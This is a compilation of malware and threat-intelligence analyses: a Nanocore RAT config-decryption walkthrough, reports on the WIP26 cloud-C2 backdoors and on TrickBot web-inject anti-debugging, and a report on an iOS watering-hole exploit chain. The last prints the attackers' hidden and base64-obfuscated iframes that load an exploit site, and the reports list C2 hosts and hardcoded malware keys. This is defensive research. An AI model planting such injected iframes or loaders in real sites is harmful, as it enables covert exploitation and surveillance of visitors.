generator = PBKDF2(key, salt, iterations)
derived_iv = generator.read(iv_length)
derived_key = generator.read(key_length)
return derived_iv, derived_key
# get guid of binary
guid_str = 'a60da4cd-c8b2-44b8-8f62-b12ca6e1251a'
guid = uuid.UUID(guid_str).bytes_le
# AES encrypted key
encrypted_key = raw_config_data[4:20]
# rfc2898 derive IV and key
div, dkey = derive_pbkdf2(guid, guid, 16, 16, 8)
# init new rijndael cipher
rjn = new(dkey, MODE_CBC, div, blocksize=len(encrypted_key))
# decrypt the config encryption key
final_key = rjn.decrypt(encrypted_key)
# decrypt the config
decrypted_conf = decrypt_config(raw_config_data, final_key)
```
Loading the decrypted contents in a hex editor does show in fact that we have a valid decrypted blob. This blob contains various PE files being the plugins loaded as well as standard config information below.
## Config Parsing
Now that our config blob is properly decrypted, we need to parse it. Running binwalk on our output contents shows some interesting results. In between the zlib compressed contents and the PNGs there are valid PE files. Now Nanocore is a modular RAT as I had mentioned earlier. These PE files are the plugins that are loaded immediately after config decryption. With the following snippet I was able to dump each individual PE file that Nanocore is going to load.
```python
plugins = decrypted_conf.split("\x00\x00\x4D\x5A")
# remove first snippet as its junk code
plugins = plugins[1:]
# Add the MZ header back cuz python is hard
# remove the config struct at the end of the file
while i < len(plugins):
plugins[i] = '\x4D\x5A' + plugins[i]
if "\x07\x3E\x00\x00\x00" in plugins[i] and i == len(plugins)-1:
plugins[i] = plugins[i].split("\x07\x3E\x00\x00\x00")[0]
i += 1
```
Here we iterate over the config blob that's split by 2 null bytes and the MZ header. With Nanocore's config being at the end of the file that means the last element in our list from the split is going to contain the config data when it shouldn't. The config data itself starts with 0x07 0x3E followed by 3 null bytes. Splitting on that when we're at the last plugin and selecting the first element keeps the last plugin intact. Once they are split and dumped to a directory we get 8 plugins to analyze.
For the config values of the sample, each field starts with a 0x0c, a null byte, the field name, another null byte then the value of the field name. In the script I search for the hardcoded field names in this specific format.
```python
logging_rule = re.search("\x0c.KeyboardLogging(?P<logging>.*?)\x0c", decrypted_conf)
logging = logging_rule.group('logging')
if ord(logging[1]):
config_dict['KeyboardLogging'] = True
else:
config_dict['KeyboardLogging'] = False
```
After doing this for each configuration field of the sample we can get a clear picture of this sample. Some of the fields aren't parsed properly but that is mainly due to lack of time. The values are all correct they just need to be interpreted correctly.
Nanocore as malware is pretty straightforward to analyze and hasn't changed much so I'll be skipping the analysis of the plugins. If there is demand I can write a follow up on the plugins as well as flaws within Nanocore's network comms.
In an effort to keep this post short, I'm going to end the analysis here but there is more work to be done on Nanocore and the CypherIT crypter. If anyone would like to collaborate and make a true unpacker for CypherIT, please reach out. |
# WIP26 Espionage: Threat Actors Abuse Cloud Infrastructure in Targeted Telco Attacks
**By Aleksandar Milenkoski, Collin Farr, and Joey Chen, in collaboration with QGroup**
## Executive Summary
A new threat cluster we track as WIP26 has been targeting telecommunication providers in the Middle East. We assess it is likely that WIP26 is espionage-related. WIP26 relies heavily on public Cloud infrastructure in an attempt to evade detection by making malicious traffic look legitimate. WIP26 involves the use of backdoors, dubbed CMD365 and CMDEmber, which abuse Microsoft 365 Mail and Google Firebase services for C2 purposes. WIP26 also involves the use of Microsoft Azure and Dropbox instances as data exfiltration and malware hosting sites.
## Overview
In collaboration with QGroup GmbH, SentinelLabs is monitoring a threat activity we track as WIP26. The threat actor behind WIP26 has been targeting telecommunication providers in the Middle East. WIP26 is characterized by the abuse of public Cloud infrastructure – Microsoft 365 Mail, Microsoft Azure, Google Firebase, and Dropbox – for malware delivery, data exfiltration, and C2 purposes.
The WIP26 activity is initiated by precision targeting of employees through WhatsApp messages that contain Dropbox links to a malware loader. Tricking employees into downloading and executing the loader ultimately leads to the deployment of backdoors that leverage Microsoft 365 Mail and Google Firebase instances as C2 servers. We refer to these backdoors as CMD365 and CMDEmber, respectively. The main functionality of CMD365 and CMDEmber is to execute attacker-provided system commands using the Windows command interpreter.
The use of public Cloud infrastructure for C2 purposes is an attempt to make malicious C2 network traffic look legitimate and therefore make detection harder for defenders. The CMD365 and CMDEmber samples we observed masquerade as utility software, such as a PDF editor or browser, and as software that conducts update operations. The masquerading attempt involves the use of filenames, application icons, and digital signatures that indicate existing software vendors.
## Intrusion Vector and Activities
The initial intrusion vector succeeded through sending targeted WhatsApp messages to employees. The messages contained Dropbox links to archive files that supposedly contain only documents on poverty issues in the Middle East. The archives stored such documents, but also a malware loader (PDFelement.exe) masquerading as the PDFelement application. The PDFelement.exe malware loader has an invalid digital signature that indicates the vendor of the PDFelement application.
The loader deploys the CMD365 backdoor, a .NET executable named Update.exe, and creates a scheduled task named MicrosoftUpdatesA that executes CMD365 at system startup for persistence.
The main functionality of CMD365 is to execute commands from a C2 hosted on a Microsoft 365 Mail instance. This capability was used to conduct a variety of activities, such as reconnaissance, privilege escalation, staging of additional malware, and data exfiltration. Among the malware deployed on compromised machines, we observed another CMD365 sample in addition to the Update.exe – EdgeUpdater.exe. Further, we observed CMDEmber samples, which use Google Firebase Realtime Database instances as C2 servers – .NET executables named Update.exe and Launcher.exe.
The exfiltrated data included users’ private browser data and reconnaissance information on particular high-value hosts in the victim’s network. This is a typical precursor to the subsequent targeting of these hosts. The data exfiltration was orchestrated through the execution of PowerShell commands to transport key data to Microsoft Azure instances. The threat actor behind WIP26 used the Windows Azure website socialmsdnmicrosoft.azurewebsites[.]net as a malware hosting site and akam.azurewebsites[.]net as a data exfiltration site.
In addition to exfiltration, the threat actor utilized the open source tool Chisel masquerading as the Media Player Classic application with an invalid certificate signed as “Rare Ideas LLC”. This was used to create a TCP tunnel over HTTP from the IP address 193.29.56[.]122, an IP that has previously been associated with Cobalt Strike activity. This was the first and only direct access attempt that was not from Microsoft 365 Mail or Google Firebase instances.
## CMD365: Abuse Of Microsoft 365 Mail
CMD365 interacts using the Microsoft Graph API with a Microsoft 365 Mail inbox that has the role of a C2 server. An open-source implementation of Graph API usage for C2 communication is the Azure Outlook C2 tool.
The CMD365 sample Update.exe is a .NET application that masquerades as the legitimate Postman application, signed with an invalid signature. The core feature of CMD365 is to execute attacker-provided system commands as standard input to an instance of the Windows command interpreter.
CMD365 issues an HTTP POST request to login.microsoftonline[.]com to authenticate itself to a Microsoft 365 Mail inbox using valid credentials that are hardcoded in the malware. The malware then receives an OAuth Bearer access token that it uses in the further interaction with Microsoft 365.
CMD365 then creates an inbox folder with a name that is unique for each infected machine. The name is a combination of the physical address of the main active network interface on the machine, the machine’s computer name, and the name of the user in whose context the malware executes. CMD365 collects this information when it starts executing.
CMD365 polls the inbox folder for C2 commands by querying for emails whose subjects start with the keyword Input. These emails contain C2 input intended for processing by CMD365 on infected machines.
The C2 server and CMD365 exchange encrypted and Base64-encoded data. For data encryption and decryption, the malware uses the AES key Xc4u7x!A%D*G-KaPdSr56tp2s5v8y/B? (in string format) and an empty initialization vector (IV).
## CMDEmber: Abuse Of Google Firebase
CMDEmber interacts with a Google Firebase Realtime Database instance that has the role of a C2 server. The CMDEmber sample Launcher.exe is a .NET application that masquerades as the Opera browser and has an invalid signature that indicates the Opera Norway software vendor. CMDEmber uses the open-source Firebase library by Step Up Labs for communicating with the Google Firebase instances.
As with CMD365, the core feature of CMDEmber is to execute system commands using the Windows command interpreter. When executed, CMDEmber connects to the Firebase instance https://gmall-52fb5-default-rtdb.asia-southeast1.firebasedatabase[.]app/ or https://go0gle-service-default-rtdb.firebaseio[.]com, and then exfiltrates information about the infected machine. The exfiltrated data includes some of the information that the CMDEmber collects – the computer name, the bitness, name, and ID of the CMDEmber process, the name of the user in whose context CMDEmber executes, and the IPv4 and physical addresses of all operational network interfaces on the infected machine.
CMDEmber uses the MD5 hash of the Triple DES key Mgirdhgi256HIKnuefsdf!dfgsdfkjsrht (in string format) to encrypt and decrypt the Base64 data exchanged with the C2. CMDEmber sends and receives data from the C2 server by issuing HTTP POST and GET requests, respectively. The URL paths of these requests contain a unique identifier of each infected machine, which is a combination of the ID and bitness of the CMDEmber process, and the physical addresses of the operational network interfaces at the victim machine.
After exfiltrating information about the infected machine, CMDEmber polls the Firebase instance for C2 commands by issuing HTTP GET requests that include the identifier of the infected machine. The data that the C2 server and CMDEmber exchange is in JSON format. The Firebase C2 server stores exchanged data with all infected machines in a JSON-formatted file such that the nodes are the unique identifiers of the machines.
The `who` field indicates the communication direction. The value `server` marks data sent from the C2 server to an infected machine, whereas the value `client` marks data sent in the opposite direction. The `data` field stores the actual data: attacker-provided commands, command outputs, or the information that CMDEmber exfiltrates from infected machines.
## Attribution Analysis
We assess it is likely this activity is espionage-related. We track this activity as WIP26 – the Work-In-Progress (WIPxx) designation is used for unattributed activity clusters. The initial intrusion vector we observed involved precision targeting: The threat actor sent WhatsApp messages to targets with download links to backdoor malware. Further, the targeting of telecommunication providers in the Middle East suggests the motive behind this activity is espionage-related. Communication providers are frequent targets of espionage activity due to the sensitive data they hold. Finally, evidence suggests that once they established a foothold, the threat actor targeted users’ private information and specific networked hosts of high value.
The threat actor behind WIP26 activity appears to have made some OPSEC errors. For example, the JSON file where the Google Firebase C2 server stores data exchanged with machines infected by CMDEmber is publicly accessible at the time of writing, providing further insights into the WIP26 activity.
The use of public Cloud infrastructure by APT groups is not unheard of. These threat actors continue to innovate in order to stay stealthy. This includes leveraging public Cloud infrastructure for C2 purposes to blend in and make the detection of C2 traffic harder for defenders.
For example, the North Korean APT 37 (InkySquid) has used the Microsoft Graph API for C2 operations. Further, similar to CMD365, the SIESTAGRAPH backdoor, used in the REF2924 intrusion set targeting the Foreign Affairs Office of an ASEAN member, leverages the Microsoft Graph API to access Microsoft 365 Mail for C2 communication. Also, the DoNot threat group, which is known for targeting Kashmiri non-profit organizations and Pakistani government officials, has abused Google Firebase Cloud Messaging to stage malware. Finally, threat activity tied to APT28 (Fancy Bear) has leveraged Microsoft OneDrive services for C2 purposes.
## Conclusions
The WIP26 activity is a relevant example of threat actors continuously innovating their TTPs in an attempt to stay stealthy and circumvent defenses. The use of public Cloud infrastructure for malware hosting, data exfiltration, and C2 purposes aims at making malicious traffic look legitimate. This gives attackers the opportunity to conduct their activities unnoticed. We hope that this report helps to emphasize this tactic in the continuous effort to identify threat groups engaged in targeting critical industries.
SentinelLabs continues to track the WIP26 threat cluster to provide further insight into its evolution, future activity, and attribution.
## Indicators of Compromise
| Type | Value | Note |
|--------|-----------------------------------------------------------------------|-------------------------------------------|
| SHA-1 | B8313A185528F7D4F62853A44B64C29621627AE7 | The PDFelement.exe malware loader |
| SHA-1 | 8B95902B2C444BCDCCB8A481159612777F82BAD1 | CMD365 sample (Update.exe) |
| SHA-1 | 3E10A3A2BE17DCF8E79E658F7443F6C3C51F8803 | CMD365 sample (EdgeUpdater.exe) |
| SHA-1 | A7BD58C86CF6E7436CECE692DA8F78CEB7BA56A0 | CMDEmber sample (Launcher.exe) |
| SHA-1 | 6B5F7659CE48FF48F6F276DC532CD458BF15164C | CMDEmber sample (Update.exe) |
| Domain | https://gmall-52fb5-default-rtdb.asia-southeast1.firebasedatabase[.]app/ | Google Firebase instance used for C2 |
| Domain | https://go0gle-service-default-rtdb.firebaseio[.]com/ | Google Firebase instance used for C2 |
| URL | https://graph.microsoft[.]com/beta/users/3517e816-6719-4b16-9b40-63cc779da77c/mailFolders | Microsoft 365 Mail location used for C2 |
| URL | https://www.dropbox[.]com/s/6a8u8wlpvv73fe4/ | Dropbox malware hosting site |
| URL | https://www.dropbox[.]com/s/hbc5yz8z116zbi9/ | Dropbox malware hosting site |
| URL | https://socialmsdnmicrosoft.azurewebsites[.]net/AAA/ | Microsoft Azure malware hosting site |
| URL | https://akam.azurewebsites[.]net/api/File/Upload | Microsoft Azure data exfiltration site |
| IP | 193.29.56[.]122 | Chisel C2 server address | |
# TrickBot Bolsters Layered Defenses to Prevent Injection
The cyber crime gang that operates the TrickBot Trojan, as well as other malware and ransomware attacks, has been escalating activity. As part of that escalation, malware injections have been fitted with added protection to keep researchers out and get through security controls. In most cases, these extra protections have been applied to injections used in the process of online banking fraud — TrickBot’s main activity since its inception after the Dyre Trojan’s demise.
IBM Trusteer researchers analyzed TrickBot’s most recent injections and the anti-analysis techniques used to conceal their activity. The information is provided in detail in this post.
## MiTB — The Basics
Man-in-the-browser (MiTB) attacks are a way for adversaries to intercept the communication between users or users and remote services. The most common use of this interception is by banking Trojans during web sessions. MiTB scripts are designed to modify information going out of the browser on the fly so that what reaches the bank’s server fits the criminal’s directions.
TrickBot is one of the most modular and sophisticated modern Trojans. It uses a variety of injections, some of which are very advanced, to trick both users and their service providers in order to commit bank fraud. In TrickBot’s case, injections can either be fetched locally from configuration files or in real-time from the attacker’s inject server.
While one might be able to extract a list of TrickBot targets from its configuration files, things get a lot harder for those seeking to understand what activity will be launched against each target. As with other banking Trojans, the attack tactics change for each bank to match the challenges fraudsters will encounter before a transaction is authorized.
## First Line of Defense: Server-Side Injection Delivery
Keeping injections on infected machines means they are more likely to land in the hands of security researchers. Injections kept locally are also less agile and harder to manipulate in real-time. To move beyond these risks, TrickBot’s operators inject from their server, known as server-side injections. To facilitate fetching the right injection at the right moment, the resident TrickBot malware uses a downloader or a JavaScript (JS) loader to communicate with its inject server.
## Second Line of Defense: Secure Communications With the C2
For operational security, the JS downloader fetches injections via a secure request using the HTTPS protocol to the attacker’s command and control (C2) server. It provides that request using a referrer policy parameter with the flag ‘unsafe-URL.’ The flag specifies that a complete URL, stripped for use as a referrer, is to be sent along with both cross-origin requests and same-origin requests made from a particular client. In TrickBot’s case, using this flag likely provides information about the specific page the user is browsing to the C2 server, allowing the C2 server to send custom injections per page. The attacker can also use the information to ignore requests from unwelcome/unknown sources or pages, thus sending nothing back to the client side.
For secure communication with a remote inject server, TrickBot hooks the certificate verification function on the infected device. It thereby blocks any certificate errors that the victim might otherwise be alerted to during the malicious communication with the attack server.
The request to the C2 server yields a web injection that was designated by the attacker for each targeted bank URL. Each injection is used to interact with the victims and trick them into divulging details that will help the attack finalize the transaction.
A glance at the data collected also shows the injection scrapes the device’s fingerprint and sends it to the C2 server. The fingerprint data is quite elaborate, including browser parameters, language settings, operating system basics, user agent, plugins, and more. Stolen fingerprint data helps attackers get more information about each session and impersonate victims in fraudulent activity.
## Third Line of Defense: Anti-Debugging
To further protect its injections, TrickBot added an anti-debugging script to the JS code. The goal is to anticipate the typical actions researchers will take and ensure their analysis fails. In this case, TrickBot can trigger a memory overload that would crash the page and hinder the analysis.
One of the ways TrickBot’s developer achieved this is by looking for ‘code beautifying’ performed by the researcher. When someone encounters a large block of code that is very ‘messy’ to a human eye, they will apply ‘beautifying’ to it. For instance, when looking at obfuscated injection code, a researcher may start by decoding it from the Base64 format, then make all literals and functions human-readable. Literal values are changed to real ones, code is divided into chunks, etc. All these efforts are part of code beautifying, and TrickBot expects that from researchers, making it a good place to hold them back.
Searching for code beautifying, TrickBot uses a RegEx to check a function named ‘this[‘Ccmdra’].’ If this function is run through the eval(atob function in its original state, it will appear as `this[‘Ccmdra’] = function(){return’newState’;}` without any new lines or spaces, which are typically added when someone beautifies code.
However, if the code was beautified by someone, they would likely remove the base64 encoding and replace the function with its decoded contents. It might look more orderly.
TrickBot uses a RegEx to detect the beautified setup and throw itself into a loop that increases the dynamic array size on every iteration. After a few rounds, memory is eventually overloaded, and the browser crashes.
## Fourth Line of Defense: Obfuscation and Encoding
The code TrickBot injects is meant to be obfuscated. It is first encoded with Base64 so that scripts are not in plain text. The following techniques are used by TrickBot’s developers to achieve some added obfuscation:
- **Minify/Uglify** — Through a series of transformations, such as variables, function, arguments renaming, and string removal, TrickBot’s code is made to appear unreadable to human eyes, all while working the same.
- **String extraction and replacement** — `window.console.log(1)` can be written as `window[‘console’][‘log’](1)`. The obfuscator moves all strings to an array and encrypts them, which hides functions, literals, arguments, and information about the program’s execution.
- **Number base and representing** — TrickBot uses hex representation to represent numbers and initialize variables into some value in a complex way. For example, instead of writing `var num = 0;`, this could be replaced with `var num = (0x130 * 0x11 + -0x17f5 + 0x2e * 0x15, -0x24a5 + 0x68e * -0x4 + 0x3edd, -0x17f1 + -0x99b * 0x3 + 0x34c2)`.
- **Dead code injection** — To make things more confusing, TrickBot’s developers added redundant code. This makes code less readable and renders its actions harder to decipher. This resembles malware that imports redundant modules to hide their true purpose.
- **Monkey patching** — Patching native functions to change their behavior in a way that makes it impossible to understand what is being activated using static analysis.
## Dominating the Cyber Crime Arena
The TrickBot Trojan and the gang that operates it have been a cyber crime staple since they took over when a predecessor, Dyre, went bust in 2016. TrickBot has not rested a day. Between takedown attempts and a global pandemic, it has been diversifying its monetization models and growing stronger.
Whether through ransomware attacks or by partnering with other cyber crime gangs and service providers from Eastern Europe, TrickBot remains a concern to businesses on a few fronts. TrickBot goes after corporate money, facilitates ransomware and extortion attacks, and deploys other unwelcome malware on the network.
TrickBot distributes multi-stage malware through phishing emails, malspam, botnets, hijacked email conversations, and even a malicious call center known as BazarCall. While themes vary, often a booby-trapped attachment is a way to infect users. The method used in each campaign is shuffled often, which can make it harder to anticipate. TrickBot incorporates vulnerabilities, lateral movement tools like Cobalt Strike, and living-off-the-land tactics like PowerShell scripts.
To mitigate the risk from TrickBot infections, employees should be kept up to date on recent attack tactics, and relevant threat intelligence should be incorporated into the choice of security controls that protect your organization. In addition, you should:
- Use an email security solution to scan, filter, and strip attachments as needed. This is especially important for macro-enabled attachments.
- Consider the use of email spoofing prevention protocols to help lower the risk of receiving email from suspicious sources.
- Follow least privilege principles and minimize the number of privileged accounts on networks and cloud assets.
- Activate multi-factor authentication on privileged accounts, and preferably on all accounts.
- Design architectural controls for network segregation. This can help limit lateral movement and minimize broader infection and data theft.
- Monitor for lateral movement.
- Have offline backups and a backup schedule. TrickBot infections are very likely to become ransomware attacks.
- Make sure data classified as confidential or data that could expose customers and the organization to extortion is encrypted (on-prem and in the cloud). Ransomware attacks often include data extortion.
- Continue role-based employee training to ensure the organization’s employees protect the organization from malware.
- Learn about zero trust and begin your zero trust journey, if you haven’t done so already.
## IOCs From IBM’s Analysis
**Domains/resources**
- hxxps://myca.adprimblox.fun
- hxxps://ksx.global-management-holdings.com
- hxxps://on.imagestorage.xyz
- hxxps://997.99722.com
- hxxps://akama.pocanomics.com
- hxxps://web7.albertleo.com
**IP addresses**
- 94.242.58.165
- 185.14.30.111
- 208.115.238.183
- 51.83.210.212
- 103.119.112.188
- 185.198.59.85
**SHA1 hashes**
- jquery-1.10.1.js: 5acd3cddcc921bca18c36a1cb4e16624d0355de8
- downloader js: ae1b927361e8061026c3eb8ad461b207522633f2
**Michael Gal**
Security Web Researcher, IBM
Michael Gal is a contributor for SecurityIntelligence. |
# Evil Eye Threat Actor Resurfaces with iOS Exploit and Updated Implant
In September 2019, Volexity published *Digital Crackdown: Large-Scale Surveillance and Exploitation of Uyghurs*, which described a series of attacks against Uyghurs from multiple Chinese APT actors. The most notable threat actor detailed in the blog was one Volexity calls Evil Eye.
The Evil Eye threat actor was observed launching an exploit aimed at installing a malware implant on Android phones. Volexity also believed this was likely the same group responsible for launching exploits aimed at installing an iOS implant as described by Google's Project Zero. Immediately after the publications from Google and Volexity, the Evil Eye threat actor went fairly quiet. They removed their malicious code from compromised websites, command and control (C2) servers were taken down, and various hostnames stopped resolving. This largely remained the case until early January 2020, when Volexity observed a series of new activity across multiple previously compromised Uyghur websites.
In the latest activity identified by Volexity, the Evil Eye threat actor used an open-source framework called IRONSQUIRREL to launch their exploit chain. The exploits used targeted Apple iOS operating systems leveraging a vulnerability in WebKit that appears to have been patched in the summer of 2019. The exploit works against iOS versions 12.3, 12.3.1, and 12.3.2. These versions of iOS are newer than anything mentioned in the Google Project Zero blog or any other recently published reports involving weaponized exploits that can be used remotely against iPhones or iPads. If the exploit is successful, a new version of the implant described by Google will be installed onto the device. Volexity refers to this implant by the name INSOMNIA.
Volexity observed multiple different attacks where this implant was being installed on iOS devices. This includes six different exploit websites, five instances of the malware implant, three different C2 IP and port pair combinations, and two unique C2 IP addresses. Each of the observed exploit sites and malware C2 servers are detailed in Appendix A below.
## Targeting Website Visitors
The Evil Eye actor set up IRONSQUIRREL code to be loaded in a variety of different ways through malicious iframes across the various compromised websites. Volexity observed a total of six different hostnames being used to launch attacks between January and March 2020. While the first round of attacks were identified across several websites, future attacks were only observed in conjunction with the Uyghur Academy website. The attacks were largely loaded in fairly standard ways, such as via an iframe on a website's index, a modified JavaScript file used by the website, or nested iframes—which was the case on the Uyghur Academy website. The code below has been on the main index of the Uyghur Academy website for several months. The "JPlayer.html" file appears to be exclusively used by the Evil Eye actor when they want to launch attacks against visitors to the website. Otherwise, the file is either deleted or emptied out when not in use.
```html
<iframe src="https://akademiye[.]org/ug/wp-content/themes/goodnews/js/Jplayer.html" width="0" height="0"></iframe>
```
In the first observed example of this iOS exploit activity, the following code was observed inside Jplayer.html.
```html
<iframe src="https://cdn.doublesclick[.]me/index.html" width=0 height=0></iframe>
```
The most notable method of loading the code was via an iframe that was observed on the Chinese-language version of the Uighur Times website. The following code was observed.
```html
<div style="display: none">
<iframe src="data:text/html;base64,PGh0bWw+PGhlYWQ+PGJvZHk+PGlmcmFtZSBzcmM9Imh0dHBzOi8vY2RuLmRvdWJsZXNjbGljay5tZS9pbmRle
</iframe>
</div>
```
Here, the entire iframe has been obfuscated by using base64 encoding, which is a common method to embed images in the source of websites. However, it is far less common to see an iframe load content from a remote website; this may be used as an indicator of suspect activity. The base64 content in this iframe decodes as follows:
```html
<html><head><body><iframe src="https://cdn.doublesclick[.]me/index.html"></iframe></body></head></html>
```
The index.html file hosted on cdn.doublesclick[.]me would kick off the first step in potential targeting against the user. The response returned by the server would depend on the User-Agent of the visitor making the request. An exploit chain would be kicked off if the right User-Agent string was detected; otherwise, the server would simply respond with the text "ok."
As an example, the following User-Agent strings would result in the exploit chain being launched.
```
Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148
Mozilla/5.0 (iPad; 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 EdgiOS/44.5.2 Mobile/15E148 Safari/605.1.15
```
Note that the exploit can be triggered through any browser on the phone, as they all use WebKit. Volexity was able to confirm successful exploitation of a phone running 12.3.1 via the Apple Safari, Google Chrome, and Microsoft Edge mobile browsers. If a visiting device passes the first checks put in place by Evil Eye, code similar to the following would be returned:
```html
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>data list</title>
</head>
<body onload="myfunction()">
<script>
function myfunction(){
settings();
save_data();
}
</script>
<script type="text/javascript" src="js/s.js?rid=V3KUMVZACLINY324HKVW7CI2EXF3ALPBONLGL23ZP3IKMZ6DVOBA"></script>
<script type="text/javascript" src="js/jquery.js?rid=V3KUMVZACLINY324HKVW7CI2EXF3ALPBONLGL23ZP3IKMZ6DVOBA"></script>
</body>
</html>
```
The file jquery.js contains the main logic and the server's public key, while the file s.js contains the supporting Stanford JavaScript Crypto Library used to generate a client key pair. This client public key is passed as a variable into the loading of the final JavaScript.
```javascript
function goto_application(client_pub_g) {
document.write('\x3Cscript type="text/javascript" src="application?
rid=VGXBJK2MFSGLRKQS7PZVJ2L5ZP3XTZPTDSFFYZYBFQPZBTBFKRJQ&cl='+ encodeURIComponent(client_pub_g)+
'">\x3C/script>');
}
```
The JavaScript served by the "application" request contains the following key functions/variables:
- `load_macho`: Contains the malicious app to be dropped
- `version_is_supported()`: Checks if version of iOS (based on User-Agent) is suitable for exploit
- `exp()`: Responsible for running the exploit
- `stage_stable()`: Prepares a fake object for the exploit
- `stage_final()`: Responsible for building the Mach-O from the hex array & prepares the memory space to drop it in
If each step of the JavaScript above is successful, it results in a Mach-O binary running on the phone. This application contains an iOS exploit for the targeted version and another Mach-O binary, the INSOMNIA implant, embedded in it. Successful iOS exploitation results in the INSOMNIA implant being written to the device at /tmp/updateserver. The implant is then started with the "run" command-line argument. It runs as root with various entitlements, giving it access to all the data the Evil Eye actor wishes to collect.
Volexity has conducted an initial analysis of the payload delivered through the exploit chain and has been able to confirm successful exploitation of an iPhone running iOS 12.3.1. An overview of this entire chain is shown in the Figure below:
## INSOMNIA Implant Analysis
Further analysis of the malicious binary indicates it appears to be an updated version of the implant described by Google's Project Zero in their Implant Teardown post, which was an updated version of what CitizenLab later described here. The differences and updates are summarized as follows:
- New hard-coded IP addresses and ports were found in the malware implants.
- All C2 communication is now done securely over HTTPS. This encrypts all C2 activity, including data exfiltration.
- The malware conducts C2 server validation using a certificate embedded in the malware and will not function if validation fails.
- The malware employs basic obfuscation techniques to obscure some of its embedded strings.
- The encrypted messaging and secure email applications Signal and ProtonMail have been added to the list of apps that are specifically targeted by the malware.
- In addition to exfiltrating information about the phone and targeted apps, the malware now automatically sends information about each additional app that is installed on the device during its initial phone-home.
Note that Volexity does not have copies of the exact files analyzed by Project Zero or CitizenLab, so the differences listed above are based on the published reports.
## Obfuscated Strings
The implant made extensive use of obfuscated strings to hide file names, API names, URL parameters, and other data relevant to its operations. These strings were obfuscated by a routine that used a string-specific XOR key and length. The following screenshot shows the decompilation of this routine inside of Ghidra.
Stepping through this code, the routine takes a pointer to an encrypted string's data structure as an argument. On line 7, it first checks if the string has already been decrypted (offset 0x14). If it has not, then it checks that the length is greater than 0 on line 8 (offset 0x10). It then loops for each character in the obfuscated string and deobfuscates with XOR. The pointer to the string is stored at offset 8, and the one-byte XOR key to use is stored at offset 0 of the data structure. To aid in our analysis, we developed a script that brute-force decrypted every string in the binary in one pass.
## Malware Communication
One of the main criticisms Project Zero made of the attackers was the lack of encryption used by the malware during their operations: "There's something thus far which is conspicuous only by its absence: is any of this encrypted? The short answer is no: they really do POST everything via HTTP (not HTTPS) and there is no asymmetric (or even symmetric) encryption applied to the data which is uploaded."
The attackers appear to have addressed this and added HTTPS communication capabilities to their malware. To allow the malicious application to use a self-signed certificate, the malware developers embedded the webserver's public x509 certificate inside of the executable. This certificate is hardcoded in the _mach_h section of the __DATA segment. The malware uses the getsectiondata API in order to retrieve the certificate at runtime.
The embedded certificate is stored in the DER (binary) format; at runtime, the certificate is passed to the SecCertificateCreateWithData API inside of the malware's didReceiveAuthenticationChallenge handler. This process allows for applications to override the system's built-in handling of certificates and to provide their own authentication for the application's self-signed certificates. The use of a specific certificate and SSL verification means that the malware will not talk to just any listening HTTPS server, which adds complexity to analyzing INSOMNIA in a sandbox environment.
To allow the malware to communicate with Volexity's custom server implementation, it was necessary to "trick" the malware into trusting the server we had set up to act as the C2. Since Volexity did not have access to the private key of the certificate originally embedded in the malware, another solution had to be identified. The chosen solution was to edit the malware directly and to replace the embedded certificate with one that we created. This was done by overwriting the certificate in the binary and updating the mach_h section size header to match the length of the new certificate. Once safely replaced, the malware trusted the sandbox server and began communication.
With the malware successfully communicating with the Volexity C2 server, we were able to inspect the data stolen from our dummy device. As per previous write-ups of this malware, the data transferred is not encrypted (except for the HTTPS), so we can easily look at the data stolen. Since this has already been done in depth in the Project Zero write-up, we will not go over it again here, with the exception of the stolen Signal data. The data stolen from the Signal app is as follows:
- Images transferred using Signal (these are unencrypted on the phone)
- A copy of the messages, stored in an SQLite3 database (these are encrypted on the phone)
The messages require a key from the phone's keychain in order to be successfully decrypted. In the Volexity test environment, the required key was not automatically exfiltrated, perhaps showing a shortcoming in the attackers' thinking.
Over time, the IP addresses the malware was configured to communicate with, ports, and certificates used to verify the server were modified.
## Functionality & Targeted Applications
As described in the Project Zero and CitizenLab posts, the malware contains a list of applications for which it will steal data automatically if they are installed. Since the last analysis, the following applications have been added to this list:
- Signal (org.whispersystems.signal)
- ProtonMail (ch.protonmail.protonmail)
The inclusion of these apps suggests they are being more commonly used by the Uyghur community than before. In particular, the inclusion of Signal and ProtonMail may suggest that the Uyghurs are aware of potential monitoring of their communications and are attempting to use applications with strong security features to avoid this. It is also worth noting that this implant also targets the popular messaging app WeChat. This app is referenced as "com.tencent.xin" in other write-ups, but it is not mentioned as WeChat.
Volexity also noted that the malware has no mechanism for persistence. This indicates that the attackers must work quickly to obtain data that they want from a device before it reboots, or that they may potentially rely on the ability to reinfect a phone. Alternatively, it may be possible the attackers have a method to maintain persistence but only set this up manually after verifying the target.
## Conclusion
Even though the vulnerabilities exploited in this report are patched as of July 2019 with iOS version 12.4 and newer, it appears that Evil Eye is likely having success with these attacks. According to Apple's own statistics from its website:
- 43% of iPad devices using the App Store use iOS 12 or earlier
- 30% of iPhone devices using the App Store use iOS 12 or earlier
This represents a considerable attack surface of potentially vulnerable devices. As noted in September 2019, Volexity suspected that the Evil Eye attackers had also targeted iPhones based on the attackers' C2 servers going offline shortly after Project Zero's findings were made public. These more recent findings confirm the suspicion that the attackers were indeed likely the same. It can now be confirmed that in the past six months, Uyghur sites have led to malware for all major platforms, representing a considerable development and upkeep effort by the attackers to spy on the Uyghur population.
## Appendix A - Network Indicators
| IOC Type | Value | Description |
|------------|-----------------------------------------|-------------------------------------------------------|
| IP Address | 154.85.32.52 | C2 for iOS implant observed on TCP ports 43223 and 43773 |
| IP Address | 154.85.37.250 | C2 for iOS implant observed on TCP port 43111 |
| Hostname | static.doublesclick.info | IRONSQUIRREL exploit hostname |
| Hostname | cdn.doublesclick.me | IRONSQUIRREL exploit hostname |
| Hostname | api.doubles.click | IRONSQUIRREL exploit hostname |
| Hostname | status.search-sslkey-flush.com | IRONSQUIRREL exploit hostname |
| Hostname | start.apiforssl.com | IRONSQUIRREL exploit hostname |
| Hostname | status.verifyingbycf.com | IRONSQUIRREL exploit hostname |
| IP Address | 154.85.33.48 | Resolution for malicious hostname |
| IP Address | 154.85.34.49 | Resolution for malicious hostname |
| IP Address | 154.85.34.214 | Resolution for malicious hostname |
